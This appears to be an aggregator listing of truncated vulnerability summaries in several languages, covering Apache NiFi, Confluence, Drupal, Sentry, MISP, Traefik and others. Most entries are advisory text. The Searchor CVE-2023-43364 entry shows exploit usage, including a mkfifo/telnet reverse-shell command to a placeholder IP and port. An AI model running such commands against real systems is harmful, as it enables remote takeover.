CVE-2023-34212

CVE-2023-34212: Apache NiFi中通过JNDI组件的Java反序列化 在Apache NiFi 1.8.0至1.21.0版本中，JndiJmsConnectionFactoryProvider控制器服务以及ConsumeJMS和PublishJMS处理器允许经过身份验证和授权的用户配置URL和库属性，从而能够从远程位置反序列化不可信数据。 厂商披露： 该漏洞的厂商披露和修复可以在此处找到。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可在此PDF中找到。 附加资源： 感谢奇安信TI中心的Veraxy00 与我同时发现并报告了该漏洞。...

CVE-2019-10092

CVE-2019-10092：Apache HTTP Server "Proxy Error" 页面中的有限跨站脚本攻击 在 Apache HTTP Server 2.4.0-2.4.39 版本中，报告了一个影响 modproxy 错误页面的有限跨站脚本问题。攻击者可能导致错误页面上的链接格式错误，进而指向他们选择的页面。只有在服务器启用了代理功能但配置不当导致显示代理错误页面时，才可能利用此漏洞。 厂商披露： 厂商的披露及对此漏洞的修复可在此处找到：这里。 利用条件： 此漏洞需要： 能够访问 "Proxy Error" 页面的途径 用户交互 概念验证： 更多细节和利用过程可在此 PDF...

CVE-2026-83803 Sentry: Unsafe pickle deserialization in Relocation Feature

Sentry is an error tracking and performance monitoring tool. From 23.11.0 until 26.7.0, Sentry instances with the relocation feature enabled unsafely deserialize a legacy database field while importing a user-supplied relocation archive. An authenticated user can craft an archive that causes...

CVE-2026-4882

CVE-2026-4882 User Registration Advanced Fields = 1.6.20 - Subida Arbitraria de Archivos No Autenticada Descripción : User Registration Advanced Fields = 1.6.20 - Subida Arbitraria de Archivos No Autenticada Descripción El plugin User Registration Advanced Fields para WordPress versiones hasta la...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084，Atlassian Confluence OGNL注入漏洞 Atlassian Confluence 是企业广泛使用的维基系统，其部分版本中存在OGNL 表达式注入漏洞。攻击者可以通过漏洞，不需要任何用户的情况下在目标Confluence 中执行任意代码。 queryString参数执行任意命令 root@kitploit:...

CVE-2019-19658

CVE-2019-19658 Chevereto 在个人资料页面存储型XSS漏洞 - 1.0.0 - 1.1.4 Free， 注册用户向名称字段注入了一些脚本，在本例中用于将用户重定向到Google 有人进入 /test 的个人资料后被重定向...

CVE-2026-94455 Unauthenticated /enterprise/create-user mints lifetime top-tier organizations and discloses their API key

An HTTP endpoint intended for provisioning enterprise and reseller organisations is reachable without any session. The authentication middleware is bound only to an explicit list of controllers, and the enterprise controller is not on that list, so no authentication runs for these routes. The...

CVE-2026-94455 Unauthenticated /enterprise/create-user mints lifetime top-tier organizations and discloses their API key

An HTTP endpoint intended for provisioning enterprise and reseller organisations is reachable without any session. The authentication middleware is bound only to an explicit list of controllers, and the enterprise controller is not on that list, so no authentication runs for these routes. The...

CVE-2026-94455

An HTTP endpoint intended for provisioning enterprise and reseller organisations is reachable without any session. The authentication middleware is bound only to an explicit list of controllers, and the enterprise controller is not on that list, so no authentication runs for these routes. The...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Rails中用户提供的本地名称的远程代码执行 Rails 5.0.1 中用户提供的本地名称的远程代码执行漏洞 在Rails 5.0.1之前的版本中存在一个漏洞，允许攻击者控制render调用的locals参数。 此漏洞已被分配CVE标识符CVE-2020-8163。 影响版本： rails 5.0.1 不受影响： 不允许用户控制本地名称的应用程序。 修复版本： 4.2.11.2 存在漏洞的应用程序： 我提供了一个可用于测试目的的漏洞应用程序。漏洞端点是：main/index...

CVE-2014-3704

将代码转换为 Python 3 此代码来自 "Drupal 7.0 7.31 - 'Drupalgeddon' SQL Injection Add Admin User"，已转换为 Python 3，以适配 Academy 中模块 "Attacking Commoon Applications" 和部分 "Attacking Drupal" 的练习。 原始代码使用 Python 2 编写，但已将其转换为兼容 Python 3。此 README 结构复制自此处。 要求 要运行此代码，您的系统需要安装 Python 3。 用法 运行代码只需在终端或命令提示符中使用 Python 3...

EUVD-2026-84532

Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.7.13, checkPassword in pkg/middlewares/auth/basicauth.go constructs the BasicAuth singleflight key from the submitted password and stored secret. Concurrent requests for absent usernames therefore coalesce on one...

CVE-2026-95655 Aureus ERP before 1.5.0 Unscoped Message Access via ChatterPanel

Aureus ERP before 1.5.0 fails to scope message lookups to the current record in ChatterPanel, allowing authenticated users to access arbitrary messages. Attackers can submit sequential message IDs to read, edit, delete, or pin messages from other departments or companies, and enumerate all notes ...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE 漏洞利用（PoC） 通过 Searchor（ --test 执行自定义命令 在目标服务器上运行任意命令： root@kitploit: python3 CVE-2023-43364.py -a "whoami" 示例： root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls -la" 反弹 Shell 在你的机器上启动监听器：...

CVE-2026-79314

A horizontal privilege escalation vulnerability exists in x-ui 0.3.2. An authenticated user can modify the inbound proxy configurations of other users, including remark, port, protocol, settings, enabled state, expiry time and traffic quota, by submitting a request referencing the target resource...

EUVD-2026-84499

In MISP's UsersController login method, the pre-authentication database query used for the TOTP two-factor authentication verification branch did not include the User.disabled column in its SELECT fields list. The query selected only User.password, User.totp, and User.hotpcounter. When the TOTP...

CVE-2026-25197

CVE-2026-25197: Omisión de Autorización mediante Clave Controlada por el Usuario IDOR Aviso Campo| Valor ---|--- CVE| CVE-2026-25197 ICSA| ICSA-26-055-03 Update A CVSS 3.1| 9.1 Crítico Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CWE| CWE-639 Omisión de Autorización mediante Clave...

CVE-2026-90462

A flaw was found in SSSD. When configured with the LDAP access provider and ldapaccessorder including ppolicy or lockout, a fail-open condition in the LDAP ppolicy access check can occur if a user lookup returns zero results. This can incorrectly return success and cache an allow decision,...

CVE-2023-35078

CVE-2023-35078 漏洞利用工具 root@kitploit: ██████╗ ███╗ ██╗███████╗███████╗ ██████╗ ██╔═████╗████╗ ██║██╔════╝██╔════╝██╔════╝ ██║██╔██║██╔██╗ ██║███████╗█████╗ ██║ ████╔╝██║██║╚██╗██║╚════██║██╔══╝ ██║ ╚██████╔╝██║ ╚████║███████║███████╗╚██████╗ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝ + CVE-2023-350...

CVE-2026-95682

MISP contains a stored cross-site scripting XSS vulnerability in the admin email composition screen. The MISP.org organization name setting was interpolated directly into a JavaScript string literal using an unescaped PHP echo: var org = "";. Because the value was placed inside a double-quoted...